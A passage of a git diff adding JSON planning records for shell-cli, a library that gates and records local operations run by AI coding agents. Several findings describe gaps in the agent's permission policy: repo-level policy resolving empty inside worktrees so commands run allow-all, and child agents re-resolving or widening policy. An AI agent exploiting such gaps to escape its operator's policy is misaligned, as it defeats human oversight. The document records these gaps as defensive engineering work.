reviewed change. Bundling them risks altering legitimate model-overlay behaviour during a security release.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h62", + "text": "The security release changes policy RESOLUTION only: a test shows per-model overlay behaviour is byte-identical before and after, while repo-level policy now survives isolation. The parent-cap intersection ships separately with its own review and migration notes.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c68", + "kind": "boundary", + "text": "WEBGLASS IS A SEPARATE REPOSITORY AND A SEPARATE COLLEAGUE CAPABILITY SEAM. webglass-cli owns web search/navigation semantics; it is not a shell-cli milestone, not a shell-cli dependency, and no plan task in this repo implements or integrates it. The ONLY thing that crosses between WebGlass and shell-cli is PROVIDER-NEUTRAL ARTIFACT TRANSFER \u2014 a fetched artifact handed across as neutral data, with no shared contracts, no imports in either direction, and no coupling of one's release to the other's. colleague composes both independently as separate capability providers.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h63", + "text": "No shell-cli module imports or invokes webglass, and no plan task in this repo depends on a webglass release. Artifact transfer between them uses neutral data shapes owned by neither.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + } + ], + "open_vagueness": [ + { + "id": "v1", + "text": "Whether project containers receive git metadata at all, or receive isolated git metadata that cannot mutate host refs. A linked worktree's .git is a pointer into the source repo's common git dir, so mounting only the worktree does not preserve in-worktree git behaviour. Issue #1 forbids the easy answer (mounting the host common .git writable). Genuinely undecidable until ContainerRunner exists.", + "kind": "unknown_nonblocking", + "claim_id": null, + "resolved": false, + "resolution": "", + "resolution_claim_id": null + }, + { + "id": "v2", + "text": "Whether shell-cli's policy file format stays byte-compatible with colleague's approvals.json or goes native with a compatibility reader. Policy files exist in the wild and the hooks-are-paths vs commands-are-stems convention is not self-describing, so a divergent format mis-keys silently rather than erroring.", + "kind": "unknown_nonblocking", + "claim_id": null, + "resolved": false, + "resolution": "", + "resolution_claim_id": null + }, + { + "id": "v3", + "text": "Whether a second consumer beyond colleague adopts this soon enough to shape the API now. Designing for a hypothetical second consumer violates the no-speculative-abstraction non-goal; designing purely for colleague risks baking in its assumptions.", + "kind": "unknown_nonblocking", + "claim_id": null, + "resolved": false, + "resolution": "", + "resolution_claim_id": null + }, + { + "id": "v4", + "text": "Residual surprise risk after this challenge pass. Lenses swept: adjacent-systems, version-skew, false-safety, concurrency, lifecycle, rollback/recovery, environment-bypass (in progress). Surfaces NOT examined and therefore carrying unmeasured risk: colleague's telemetry/OTEL path and what an operation record does to it; the agentfront CLI registry that renders colleague's CLI and whether a second base dep perturbs it; colleague's MCP surface; the resident/appserver and TUI paths; every non-POSIX host, since the worktree lock and much of the confinement logic degrade differently there; and any AgentCulture repo beyond colleague that might adopt shell-cli. This pass raises the odds of having found the important blind spots; it does not establish that none remain.", + "kind": "unknown_nonblocking", + "claim_id": null, + "resolved": false, + "resolution": "", + "resolution_claim_id": null + }, + { + "id": "v5", + "text": "Whether the container milestone's isolation profile can be verified rather than merely configured. Issue #1 section 14 requires 'container mode's actual isolation profile is tested and recorded per operation', but testing that capabilities are genuinely dropped, the root filesystem is genuinely read-only, and the network is genuinely disabled requires running adversarial probes INSIDE the container across both Docker and Podman, whose defaults differ. Undecidable until ContainerRunner exists; flagged now because 'configured X' and 'verified X' are exactly the distinction this project exists to keep honest.", + "kind": "unknown_nonblocking", + "claim_id": null, + "resolved": false, + "resolution": "", + "resolution_claim_id": null + } + ], + "scope_entries": [ + { + "id": "s1", + "surface": "pyproject.toml + issue #1 \u00a79", + "finding": "dependencies = [] today (line 16); zero-dep/import-leak guard is required from the first implementation PR, and Git/Docker/Podman stay PATH executables rather than Python SDKs", + "seeds": [ + "c2" + ] + }, + { + "id": "s2", + "surface": "tests/test_honesty.py", + "finding": "_CLAIM/_NEGATOR regexes make the no-sandbox posture a CI gate across learn, explain root, explain safety, README, CLAUDE.md and docs/threat-model.md \u2014 the container milestone's wording is constrained by a test, not just convention", + "seeds": [ + "c3" + ] + }, + { + "id": "s3", + "surface": "issue #1 \u00a78, \u00a79, \u00a714 (dependency direction)", + "finding": "one-way import rule plus 'shell-cli must not import Colleague contracts' \u2014 result mapping into ToolOutcome/Step/media is Colleague-side adaptation work", + "seeds": [ + "c4" + ] + }, + { + "id": "s4", + "surface": "/home/spark/git sibling repos (webglass-cli, eidetic-cli, coherence-cli, colleague)", + "finding": "all four named boundary-owners exist as real local checkouts, so the non-goals are live delegations; no local heimdall checkout exists, so the validator consumer named in \u00a78 is prospective", + "seeds": [ + "c5" + ] + }, + { + "id": "s5", + "surface": "CLAUDE.md", + "finding": "documents the superseded narrow six-tool framing including its own 'Definition of done, first milestone' and an extraction seam proposal; issue #1 replaces this with the operation-plane model and a 5-milestone delivery plan", + "seeds": [ + "c6" + ] + }, + { + "id": "s6", + "surface": "shell/explain/catalog.py + tests/test_cli.py + teken rubric gate", + "finding": "ENTRIES currently holds 11 paths for the introspection-only surface; issue #1 \u00a76's CLI groups roughly triple that, and the catalog-resolves test plus the rubric's overview-per-noun rule make each new noun carry doc authoring", + "seeds": [ + "c7" + ] + }, + { + "id": "s7", + "surface": "docs/threat-model.md", + "finding": "strong on the host guard (known bypasses, what real isolation would require) but predates the workspace-x-runner matrix; needs per-runner claims kept textually separate so one sentence never covers both", + "seeds": [ + "c8" + ] + }, + { + "id": "s8", + "surface": ".github/workflows/tests.yml + publish.yml", + "finding": "version-check fails any PR matching main's version; lint job runs black/isort/flake8/bandit/markdownlint/teken strict; every push to main publishes to PyPI \u2014 so slice granularity has real per-PR overhead", + "seeds": [ + "c9" + ] + }, + { + "id": "s9", + "surface": "colleague/tools.py:669-722 (ToolExecutor constructor) + handlers :813-1050", + "finding": "five of six handlers are import-clean; only view_media touches colleague.media; the six touch just 5 pieces of instance state, so composition beats subclassing", + "seeds": [ + "c14", + "c18" + ] + }, + { + "id": "s10", + "surface": "colleague/media.py (111 lines, stdlib-clean)", + "finding": "copyable but not movable \u2014 flatten_parts/IMAGE_TOKEN_ESTIMATE serve 5 colleague-only call sites; view_media needs only a ~50-line slice", + "seeds": [ + "c15" + ] + }, + { + "id": "s11", + "surface": "colleague/tools.py:111-235 (SCHEMAS) + _PATH_DESC:61", + "finding": "SCHEMAS[:6] is contiguous and sliceable, but _PATH_DESC interpolation, list_dir's missing 'required' key, and read_file's literal backslash escapes are byte-equivalence traps", + "seeds": [ + "c16" + ] + }, + { + "id": "s12", + "surface": "colleague/tools.py:826 (number-then-truncate) + :788-800 (execute catch-all)", + "finding": "both are recorded bug fixes with behavioural consequences \u2014 :826 fixes colleague #240 line-drift, :788 keeps malformed tool calls recoverable rather than run-aborting", + "seeds": [ + "c17" + ] + }, + { + "id": "s13", + "surface": "colleague/tools.py:1047-1048 (run_command output rendering)", + "finding": "stdout and stderr are concatenated unlabelled into one result string (body = stdout + stderr), which collides with issue #1 \u00a78's demand for separately captured stdout/stderr \u2014 parked as question q1", + "seeds": [] + }, + { + "id": "s14", + "surface": "issue #1 \u00a717 (first implementation decision)", + "finding": "large-scale work is gated behind a six-part Milestone 0/1 plan posted as an issue reply, with an explicit devague challenge pass over it", + "seeds": [ + "c19" + ] + }, + { + "id": "s15", + "surface": "issue #1 \u00a711, \u00a712, \u00a715 (package shape, delivery, non-goals)", + "finding": "vertical slices over a rewrite; no god object; no speculative abstraction; Milestone 1 keeps Colleague's implementation in place", + "seeds": [ + "c20" + ] + }, + { + "id": "s16", + "surface": "colleague/policy.py:79-400 + configdir.py:108-132 + layers.py:107-125", + "finding": "~270 lines are dependency-free stdlib needing zero changes; only load_policy couples, to resolve_file (~60 lines of real logic) and sanitize_model (2 lines of body)", + "seeds": [ + "c26" + ] + }, + { + "id": "s17", + "surface": "colleague/loop.py:894-1033 (_run_tool_call) + tools.py:570-591,757-761", + "finding": "policy is gated on rewritten arguments at loop.py:962; the role gate is NOT in this sequence but split across schema curation upstream and executor dispatch downstream", + "seeds": [ + "c21" + ] + }, + { + "id": "s18", + "surface": "colleague subprocess inventory: 21 spawn literals / 16 modules / tests/test_boundary.py", + "finding": "6 project, 15 control, 0 observe-owned, ~40 exempt bookkeeping fs sites; no os.system, no asyncio subprocess, no docker/podman; an enforced boundary test already pins the importing-module set", + "seeds": [ + "c22", + "c23" + ] + }, + { + "id": "s19", + "surface": "colleague/lint.py:100-124 vs tools.py:1213-1219", + "finding": "lint --fix mutates tracked source while run_tests is deliberately byte-neutral \u2014 a mutation path classified as a gate", + "seeds": [ + "c25" + ] + }, + { + "id": "s20", + "surface": "colleague/tools.py:1022 vs hooks.py:405 (the two shell=True sites)", + "finding": "model-authored string vs repo-authored hook that wraps every tool call, including control-plane ones \u2014 same justifying comment, different trust stories", + "seeds": [ + "c24" + ] + }, + { + "id": "s21", + "surface": "challenge pass / adjacent-systems lens: colleague/tools.py:834-858 + media.py:11-35", + "finding": "view_media's 4 MiB cap and images-only rule live in the handler, not the media module; media.py's own cap is 16 MiB, so vendoring the module slice alone loosens the effective limit 4x", + "seeds": [ + "c44" + ] + }, + { + "id": "s22", + "surface": "challenge pass / concurrency lens: colleague/worktrees.py:138-170", + "finding": "worktree admin is serialized by a non-reentrant, fail-open advisory flock; moving worktree mechanics to shell-cli must carry the lock AND its non-reentrancy or colleague's teardown path deadlocks", + "seeds": [ + "c47" + ] + }, + { + "id": "s23", + "surface": "challenge pass / version-skew lens: shell-cli publish.yml + colleague test_zero_deps.py + pyproject pins", + "finding": "auto-publish on merge to main, a bare >= floor on a 0.x package, and colleague's len(dependencies)==1 assertion combine into an unsequenced cross-repo hazard", + "seeds": [ + "c41", + "c42", + "c43" + ] + }, + { + "id": "s24", + "surface": "challenge pass / lifecycle lens: issue #1 sections 12 milestones 1-2 + colleague release cadence", + "finding": "both implementations are live across a multi-milestone window while colleague ships continuously; no freeze or mirror policy is stated, so silent divergence is unhandled", + "seeds": [ + "c48" + ] + }, + { + "id": "s25", + "surface": "challenge pass / false-safety lens: issue #1 section 8 evidence contract", + "finding": "two overclaims found in the data contract rather than the prose \u2014 unknowable changed-paths for raw shell, and unachievable secret redaction for command output; the honesty regex cannot reach either", + "seeds": [ + "c45", + "c46" + ] + }, + { + "id": "s26", + "surface": "challenge pass / environment-bypass lens: work.py:309,1934 + worktrees.py:413 + loop.py:4096 + configdir.py:124-132", + "finding": "VERIFIED by scratch probe \u2014 repo-level policy resolves in the operator repo and is empty in a worktree of it; colleague work always isolates, so the default path runs allow-all silently", + "seeds": [ + "c49", + "c50" + ] + }, + { + "id": "s27", + "surface": "challenge pass / delegation lens: subagents.py:221-244,354-357,398,532-536", + "finding": "children re-resolve policy by path rather than inheriting it; nested worktrees deepen the gap and model-selected overlays can widen the child's allowance; no test covers this", + "seeds": [ + "c52" + ] + }, + { + "id": "s28", + "surface": "challenge pass / resume+killswitch lenses: continuation.py:25-80 + ~80 COLLEAGUE_* env vars", + "finding": "CLEAN on both \u2014 continuation replays prose only and never re-executes recorded steps, and no policy disable/bypass/debug flag exists; COLLEAGUE_HOME can relocate the user-level config root but cannot override repo-level policy", + "seeds": [] + }, + { + "id": "s29", + "surface": "challenge pass / external review: docs/external-review/18-07-2026.sol.challenge.md", + "finding": "independent reviewer verified the c49 static chain at the pinned commit and supplied 8 corrections plus a c1 refinement and a private-disclosure recommendation; all applied \u2014 c21's bypass direction was backwards, c48's same-PR mirroring is impossible cross-repo, c54 was conflating a standalone hook-policy gap with migration parity", + "seeds": [ + "c62", + "c56", + "c59", + "c60" + ] + }, + { + "id": "s30", + "surface": "colleague subprocess inventory (CORRECTED)", + "finding": "supersedes s18: the verified count is 21 spawn literals across 15 MODULES, not 16 \u2014 scripts/colleague_inventory.py at colleague 28fee290c51f proves the subprocess-importer set and spawn-literal set are identical at 15. Split is 6 project / 15 control / 0 observe-owned, with 13 of the 15 modules debt-tagged for migration", + "seeds": [ + "c58", + "c23" + ] + } + ] +} diff --git a/.devague/plans/guarded-local-operations-plane.json b/.devague/plans/guarded-local-operations-plane.json new file mode 100644 index 0000000..b4acd58 --- /dev/null +++ b/.devague/plans/guarded-local-operations-plane.json @@ -0,0 +1,2585 @@ +{ + "slug": "guarded-local-operations-plane", + "title": "guarded local operations plane", + "frame_slug": "guarded-local-operations-plane", + "schema_version": 3, + "status": "drafting", + "created": "2026-07-18T23:51:06Z", + "updated": "2026-07-19T00:51:57Z", + "targets": [ + { + "id": "c2", + "kind": "boundary", + "text": "The base package keeps dependencies = [] (pyproject.toml:16) and issue #1 \u00a79 requires a zero-dependency/import-leak guard in the FIRST implementation PR, not later. Git/Docker/Podman are PATH executables discovered by subprocess, never Python SDKs; optional integrations go behind extras." + }, + { + "id": "h48", + "kind": "honesty", + "text": "The zero-dep guard exists in the first implementation PR and genuinely fires: adding a third-party import to shell-cli's core fails the test, and the test asserts [project].dependencies literally as well as snapshotting sys.modules." + }, + { + "id": "c3", + "kind": "boundary", + "text": "tests/test_honesty.py machine-enforces the guard-not-a-sandbox posture with two regexes: _CLAIM bans affirmative 'is/provides/offers ... sandbox', 'sandboxed', and 'fully isolated'; _NEGATOR only excuses them inside a negating sentence. The Milestone 4 container runner must therefore be worded as a 'declared isolation boundary with a documented profile' (issue #1 \u00a77) \u2014 phrasing it as a sandbox fails CI." + }, + { + "id": "h49", + "kind": "honesty", + "text": "Every shipped surface passes tests/test_honesty.py, and the container runner's documentation describes a declared isolation boundary with a documented profile rather than making an affirmative isolation claim." + }, + { + "id": "c4", + "kind": "boundary", + "text": "Dependency direction is one-way and permanent: Colleague imports shell-cli; shell-cli never imports Colleague (issue #1 \u00a79, \u00a714). shell-cli must not import Colleague contracts such as ToolOutcome \u2014 Colleague adapts neutral results on its side (\u00a78)." + }, + { + "id": "h50", + "kind": "honesty", + "text": "shell-cli's import graph contains no colleague module \u2014 asserted structurally, and colleague's contracts (ToolOutcome, Step) appear nowhere in shell-cli's source." + }, + { + "id": "c6", + "kind": "requirement", + "text": "CLAUDE.md is stale against the source of truth: it documents the narrow 'extract six primitives + confinement + policy' framing and a 'Definition of done, first milestone' that issue #1 explicitly supersedes ('supersedes the original narrow extract-six-tools framing while preserving that extraction as the first compatibility slice'). It must be rewritten to the operation-plane model before it misdirects the next agent that reads it." + }, + { + "id": "h2", + "kind": "honesty", + "text": "CLAUDE.md contains no statement contradicting issue #1, and its own 'source of truth' line makes the issue authoritative so future drift resolves in the issue's favour rather than ambiguously." + }, + { + "id": "c7", + "kind": "requirement", + "text": "Every new noun/verb needs a shell/explain/catalog.py entry \u2014 tests/test_cli.py::test_every_catalog_path_resolves walks the catalog and the teken rubric gate requires any noun with action-verbs to expose 'overview'. Issue #1 \u00a76's canonical groups (env, fs, process, git, policy, operation) add roughly 20 new paths, so catalog + explain authoring is per-slice work, not a final docs pass." + }, + { + "id": "h3", + "kind": "honesty", + "text": "Adding a noun/verb without a catalog entry fails CI \u2014 verified by temporarily registering a verb with no entry and observing test_every_catalog_path_resolves fail." + }, + { + "id": "c8", + "kind": "boundary", + "text": "docs/threat-model.md already satisfies the 'documented threat model that does not claim to be a sandbox' bar for the host guard, but it is written entirely around the six primitives and a single host path. The two-axis environment model (workspace x runner) means it must gain a per-runner section that keeps the host-guard and container-isolation claims textually separate, per issue #1 \u00a77." + }, + { + "id": "h51", + "kind": "honesty", + "text": "docs/threat-model.md gains its per-runner split in the same PR that introduces ContainerRunner, and no single sentence in it covers both the host guard and container isolation." + }, + { + "id": "c10", + "kind": "requirement", + "text": "view_media TRAVELS to shell-cli \u2014 issue #1 \u00a75 maps it to a 'confined neutral fs.media observation' owned by shell-cli, with Colleague adapting the model payload. This closes CLAUDE.md's first parked open question, and makes the media result provider-neutral (\u00a716) rather than shaped for one harness's message format." + }, + { + "id": "h4", + "kind": "honesty", + "text": "view_media works in shell-cli with no colleague import, and colleague's own five media call sites (loop, deepthink, context, livecheck, appserver) stay green against colleague's retained copy." + }, + { + "id": "c11", + "kind": "requirement", + "text": "Policy splits along evaluator-vs-location: the evaluator and policy DATA STRUCTURES move to shell-cli, but location resolution does NOT (issue #1 \u00a77). shell core accepts explicit policy data/files with no .colleague import; the Colleague adapter preserves existing repo/user/model overlays and the current file format during migration; shell-native policy versions independently. Absent policy and malformed-configured policy must stay distinct states \u2014 a malformed declared gate must never silently become allow-all." + }, + { + "id": "h5", + "kind": "honesty", + "text": "shell-cli's policy module has zero colleague imports and passes an import-leak guard, while colleague's existing approvals.json files continue to load and produce byte-identical verdicts through the adapter." + }, + { + "id": "c12", + "kind": "requirement", + "text": "The read-only guard IS generalised: issue #1 \u00a73 lists 'read-only paths' as a plural environment attribute alongside mount, network, and secret policy \u2014 not colleague's hard-coded .colleague/neighbours subtree. Policy is snapshotted from trusted control context before model mutations so an agent cannot edit its own active authorization from inside the work root." + }, + { + "id": "h6", + "kind": "honesty", + "text": "An operation whose work_root contains a policy file cannot change its own active authorization: a test mutates the policy inside the work root mid-run and asserts the snapshot taken from source_root still governs." + }, + { + "id": "c13", + "kind": "requirement", + "text": "Policy IS a first-class CLI surface: issue #1 \u00a76 lists 'shell policy check|explain' and 'shell operation show' among the canonical groups, closing CLAUDE.md's fourth parked question. Compatibility aliases (shell read/edit/run) may exist but must not distort the library model." + }, + { + "id": "h7", + "kind": "honesty", + "text": "'shell policy check' returns the same Verdict the execution path would apply \u2014 same allow/deny and same reason string \u2014 so operators can predict a gate without running the command." + }, + { + "id": "c15", + "kind": "requirement", + "text": "colleague/media.py cannot MOVE, only be copied: it is 111 lines and fully stdlib-clean (imports only base64 and pathlib), but flatten_parts and IMAGE_TOKEN_ESTIMATE serve five colleague-only call sites (loop.py, deepthink.py, context.py, livecheck.py, appserver.py) that shell-cli must not own. view_media needs only _MEDIA_TYPES + validate_attachment + build_part (~50 lines). Vendor that slice; colleague keeps its copy." + }, + { + "id": "h8", + "kind": "honesty", + "text": "shell-cli vendors only the media slice it uses; a source scan confirms flatten_parts and IMAGE_TOKEN_ESTIMATE are absent from shell-cli, and colleague's copy is untouched by the migration." + }, + { + "id": "c16", + "kind": "requirement", + "text": "Schema byte-equivalence (issue #1 \u00a710) has concrete traps: SCHEMAS[:6] is a contiguous clean slice (tools.py:113-235) but _PATH_DESC (tools.py:61) is a shared constant interpolated into four of the six descriptions and must travel verbatim; list_dir uniquely has NO 'required' key at all; read_file's description embeds literal backslash-t escapes. A snapshot test comparing serialized JSON is the only honest guard." + }, + { + "id": "h9", + "kind": "honesty", + "text": "A snapshot test serializes shell-cli's six schemas and asserts byte-equality against a fixture captured from colleague 1.51.0, including key order, _PATH_DESC interpolation, list_dir's absent 'required' key, and read_file's literal backslash escapes." + }, + { + "id": "c17", + "kind": "boundary", + "text": "Two orderings inside the handlers are load-bearing and must survive extraction verbatim. (1) _read_file numbers lines THEN truncates (tools.py:826) \u2014 reversing renumbers, and this ordering is the recorded fix for colleague issue #240 where a served model cited a line ~240 off. (2) ToolExecutor.execute wraps every non-ToolError exception into a recoverable model-visible error (tools.py:788-800); without an equivalent wrapper a handler crash aborts the drive instead of becoming a retryable step, breaking \u00a710's 'malformed arguments remain recoverable, never run aborts'." + }, + { + "id": "h52", + "kind": "honesty", + "text": "A test asserts read output is numbered before truncation (a truncated read's surviving line numbers match the real file), and a handler raising an unexpected exception yields a recoverable model-visible error rather than aborting the run." + }, + { + "id": "c18", + "kind": "requirement", + "text": "The extracted executor's constructor is tiny: the six handlers touch only root, changed, bytes_written, _max_output_chars and the class-level _CLONE_SUBDIR. spawn, batch_spawn, deepthink, deepthink_calls, sub_results, _is_read_only and _allowlist are untouched by all six. This confirms issue #1 \u00a712's 'compose shell-cli into Colleague's router; do not subclass it' and refutes CLAUDE.md's proposed 'colleague subclasses the base executor' seam \u2014 no inheritance is needed because there is almost no shared state." + }, + { + "id": "h53", + "kind": "honesty", + "text": "colleague composes shell-cli's executor without subclassing it, and shell-cli's executor constructor requires none of spawn, batch_spawn, deepthink, or an allowlist to serve the six primitives." + }, + { + "id": "c19", + "kind": "requirement", + "text": "Issue #1 \u00a717 gates large-scale work behind a concrete Milestone 0/1 plan posted as an issue reply, naming six things: (1) proposed Operation/OperationResult/Environment types; (2) the exact Colleague characterization tests; (3) how policy ordering and role refusal stay unchanged; (4) how state/accounting maps without importing Colleague; (5) which direct subprocess paths are parked for Milestone 3; (6) the smallest first PR that proves the seam without duplicating a framework. It also asks that Devague challenge the plan for boundary leaks, false safety claims, version skew, and environment-bypassing operations \u2014 so /challenge is an expected leg, not optional." + }, + { + "id": "h58", + "kind": "honesty", + "text": "The Milestone 0/1 plan is posted as a reply on issue #1 and answers all six numbered items, and no SHELL-CLI IMPLEMENTATION PR merges before it is posted. This gate governs shell-cli implementation only; it does not delay the urgent colleague policy-resolution patch, which is independently scoped security work." + }, + { + "id": "c23", + "kind": "requirement", + "text": "The Milestone 3 'boundary test preventing new unclassified direct subprocess paths' (issue #1 \u00a712) does not need inventing \u2014 colleague/tests/test_boundary.py ALREADY pins the set of modules permitted to import subprocess. The migration extends an existing enforced invariant rather than establishing a new one, which materially lowers the risk of that milestone." + }, + { + "id": "h26", + "kind": "honesty", + "text": "The boundary invariant is enforced by a COMMITTED KNOWN-DEBT ALLOWLIST, not by deliberately breaking anything. scripts/colleague_inventory.py ships an ALLOWLIST naming every module permitted to spawn a process today, each tagged with its profile and a debt flag; --check exits non-zero the moment a spawn literal appears in a module outside that list. Verified against a synthetic fixture rather than by mutating colleague: an unclassified path yields exit=1 naming the offending file:line, while colleague at the pinned commit yields exit=0. Debt starts at 13 modules and MUST reach zero by the end of Milestone 3 \u2014 a debt entry is a scheduled migration, not a permanent exemption." + }, + { + "id": "c24", + "kind": "requirement", + "text": "Two shell=True sites have different trust stories and warrant different mediation, though colleague justifies both with the same 'trusted operator env' comment: tools.py:1022 runs a model-authored string with no allow-list beyond the clone guard, while hooks.py:405 runs a repo-authored .colleague/hooks.json command AROUND EVERY TOOL CALL including control-plane ones. Collapsing them into one process.shell operation kind would flatten a real trust distinction." + }, + { + "id": "h12", + "kind": "honesty", + "text": "process.shell and the hook execution path carry distinct profiles in evidence, so an operator can tell from an evidence record whether a command was model-authored or repo-authored." + }, + { + "id": "c25", + "kind": "requirement", + "text": "colleague/lint.py:100-102 runs 'ruff check --fix' and 'ruff format' \u2014 it MUTATES tracked source in the target workspace while being classified as a gate. This is the highest-value ambiguity in the inventory, and it contrasts deliberately with tools.py:1213-1219 which goes out of its way to keep run_tests byte-neutral. Under issue #1 \u00a75 lint maps to process.exec profile project, so its mutations must surface in OperationResult's changed-paths effects rather than being invisible because 'it is only a linter'." + }, + { + "id": "h13", + "kind": "honesty", + "text": "A lint operation that rewrites files reports those files in OperationResult's changed-paths effects; a test runs a formatter over a deliberately misformatted file and asserts the path appears." + }, + { + "id": "c26", + "kind": "boundary", + "text": "Policy extraction is nearly free: policy.py:79-351 (Verdict, Policy and all methods, file_checksum, verify_checksum, _first_token, _parse_policy_file, _str_list, _str_map) is roughly 270 lines of dependency-free stdlib requiring zero changes. Only load_policy:354-400 needs a seam for resolve_file and sanitize_model. Cleanest option: pass pre-resolved candidate paths so policy stops knowing about config-dir layout entirely \u2014 this satisfies issue #1 \u00a77's 'shell core accepts explicit policy data/files and has no .colleague import' without injecting two callables." + }, + { + "id": "h54", + "kind": "honesty", + "text": "shell-cli's policy module imports nothing from colleague and resolves no config-dir layout of its own \u2014 it accepts explicit policy data or pre-resolved candidate paths, verified by an import-leak check." + }, + { + "id": "c27", + "kind": "audience", + "text": "AI coding-agent harnesses that must touch the local machine. colleague is the first and currently only real consumer; webglass-cli, eidetic-cli and coherence-cli are adjacent capability CLIs, not consumers. Secondary audiences the evidence surface must serve: the operator, telemetry, and an external validator such as Heimdall." + }, + { + "id": "h15", + "kind": "honesty", + "text": "colleague can drive every one of its six tools through shell-cli without importing anything colleague-specific from it, proving the audience is 'any harness' and not 'colleague with extra steps'." + }, + { + "id": "c29", + "kind": "after_state", + "text": "Every work-affecting local operation is normalized into one Operation, evaluated against an operator policy snapshot, executed in an explicitly selected environment, and returned with structured evidence including an honest completeness marker. colleague imports shell-cli and has no unclassified direct subprocess path; shell-cli never imports colleague." + }, + { + "id": "h17", + "kind": "honesty", + "text": "A boundary test proves the negative: colleague has no direct subprocess path outside the permitted module set, and shell-cli's import graph contains no colleague module." + }, + { + "id": "c30", + "kind": "why_it_matters", + "text": "Safety claims that are reimplemented per harness drift, and drift silently. Consolidating the mechanism into one plane means the guard, the policy, the confinement and the evidence are written once, tested once, and \u2014 critically \u2014 described honestly once, instead of each harness quietly reinventing a weaker version while inheriting the stronger claim." + }, + { + "id": "h18", + "kind": "honesty", + "text": "The safety description in shell-cli and the safety description in colleague say the same thing about the same code path after migration, with no surface claiming more than the runner delivers." + }, + { + "id": "c31", + "kind": "success_signal", + "text": "The six colleague tools migrate with observable parity proven by characterization tests run against both paths BEFORE the legacy implementation is removed; base shell-cli stays pure-stdlib under an enforced guard; host mode is documented as a guard and never as a sandbox; container mode's actual isolation profile is tested and recorded per operation; and the CLI and library demonstrably share one operation engine." + }, + { + "id": "h19", + "kind": "honesty", + "text": "Parity is proven by running both implementations against the same fixtures in the same test session, not by inspection or by trusting that the code was copied faithfully." + }, + { + "id": "c33", + "kind": "requirement", + "text": "Documentation surfaces are per-slice deliverables, not a final pass. Every slice must leave CLAUDE.md, README.md, docs/threat-model.md, shell/explain/catalog.py, and the Status sections in learn/overview/explain honest about what is actually built. This is machine-backed: test_honesty.py gates the posture across six surfaces and test_every_catalog_path_resolves gates the catalog, so a slice that ships code without docs fails CI rather than merely drifting." + }, + { + "id": "h14", + "kind": "honesty", + "text": "A slice that adds a verb without updating the Status sections and catalog fails CI, and docs/threat-model.md gains its per-runner split in the same PR that introduces ContainerRunner \u2014 not a later one." + }, + { + "id": "c36", + "kind": "success_signal", + "text": "Measurable parity and hygiene targets: all 6 tool schemas byte-identical (0 diffs against the colleague 1.51.0 fixture); base runtime dependencies stay at exactly 0; 100% of colleague's 6 project-profile and 15 control-profile spawn sites are classified before Milestone 3 closes; and the characterization suite runs both implementations over the same fixtures with 0 behavioural diffs before the legacy path is deleted." + }, + { + "id": "h21", + "kind": "honesty", + "text": "Each number is mechanically checked in CI, not asserted in prose: the schema diff count, the dependency count, and the behavioural diff count are all test assertions that fail the build when non-zero." + }, + { + "id": "c38", + "kind": "boundary", + "text": "Ownership is by REPOSITORY, not by person. shell-cli and colleague are separate repositories with separate CI, separate versioning and separate PyPI releases, so a change to colleague lands as a PR in colleague's repository and is reviewed under colleague's own gates \u2014 regardless of whether the same operator or agent authors both. shell-cli's frame covers the shell-cli side only: it proposes colleague's migration via a filed issue and never pushes a commit into colleague's tree from this repo's work. Milestone 1 does not remove colleague's implementation; Milestone 2's cutover is gated on a green PR in colleague's repository." + }, + { + "id": "h57", + "kind": "honesty", + "text": "No shell-cli MIGRATION OR CUTOVER change lands in colleague before the migration proposal is filed, and any colleague change reaches colleague only through a PR in colleague's own repository under colleague's gates. EXPLICIT EXEMPTION: the independently scoped policy-resolution security fix is not a migration change \u2014 it precedes both the proposal and characterization, and ships on its own security timeline." + }, + { + "id": "c39", + "kind": "requirement", + "text": "ALL repository guidance must match the operations-plane issue, not just CLAUDE.md. Every guidance surface in this repo \u2014 CLAUDE.md, AGENTS.colleague.md, README.md, docs/threat-model.md, shell/explain/catalog.py, and the learn/overview/explain Status sections \u2014 must describe the operation plane and must contain no statement the issue supersedes. Two specific classes of staleness are named because they actively misdirect: (1) the proposed 'colleague subclasses the base executor' extraction seam, which issue #1 section 12 forbids in favour of composition, must be removed wherever it appears; (2) the open questions the issue already settles \u2014 view_media travels, the policy evaluator moves while location resolution stays, read-only paths generalise, and shell policy check/explain is first-class \u2014 must not be presented as open anywhere. CLAUDE.md was rewritten this session (49 tests green, markdownlint clean, test_honesty.py passing); the remaining surfaces are unaudited and in scope." + }, + { + "id": "h25", + "kind": "honesty", + "text": "A grep across every guidance surface finds no occurrence of the subclass seam and no presentation of a settled question as open; and no guidance surface contradicts issue #1 on the operation model, the two-axis environment, the profiles, or the safety layering." + }, + { + "id": "c40", + "kind": "success_signal", + "text": "Milestone 3 closes when scripts/colleague_inventory.py reports debt_remaining = 0 against colleague's then-current commit, with --check still exiting 0 \u2014 i.e. every one of the 13 debt-tagged modules routes through shell-cli and no new unclassified spawn path has appeared. Progress is a countdown from 13 that CI publishes on every run, not a subjective judgement at the end." + }, + { + "id": "h27", + "kind": "honesty", + "text": "debt_remaining is computed from the committed ALLOWLIST by the scanner, so the countdown cannot be asserted in prose or drift from reality \u2014 it is derived from source every CI run." + }, + { + "id": "c41", + "kind": "requirement", + "text": "VERSION SKEW: a bare '>=' floor pin is unsafe for a 0.x package under active construction. colleague pins its one dep as 'agentfront>=0.20.0' and would pin shell-cli the same way, but semver gives 0.x minors no compatibility guarantee \u2014 so 'shell-cli>=0.8' silently admits a breaking 0.9. Combined with shell-cli auto-publishing to PyPI on every merge to main (.github/workflows/publish.yml, paths pyproject.toml and shell/**), colleague can acquire a breaking shell-cli without any colleague review. The compatibility invariant that the six tool schemas stay byte-equivalent 'until an intentional separately-reviewed schema change' is unenforceable across that boundary: shell-cli could change them in a minor and colleague's model-facing schemas would shift without colleague reviewing anything. shell-cli must either pin an upper bound in colleague, reach 1.0 before Milestone 2 cutover, or publish an explicit stability contract naming which surfaces are frozen." + }, + { + "id": "h29", + "kind": "honesty", + "text": "colleague's resolved shell-cli version is bounded on both sides, or shell-cli is 1.0+ with a written stability contract, before Milestone 2 removes colleague's own implementation. Verified by installing the highest version the pin permits and running colleague's characterization suite green." + }, + { + "id": "c42", + "kind": "boundary", + "text": "SEQUENCING BLOCKER: colleague's tests/test_zero_deps.py::test_base_dependency_is_exactly_agentfront hard-asserts len(dependencies) == 1 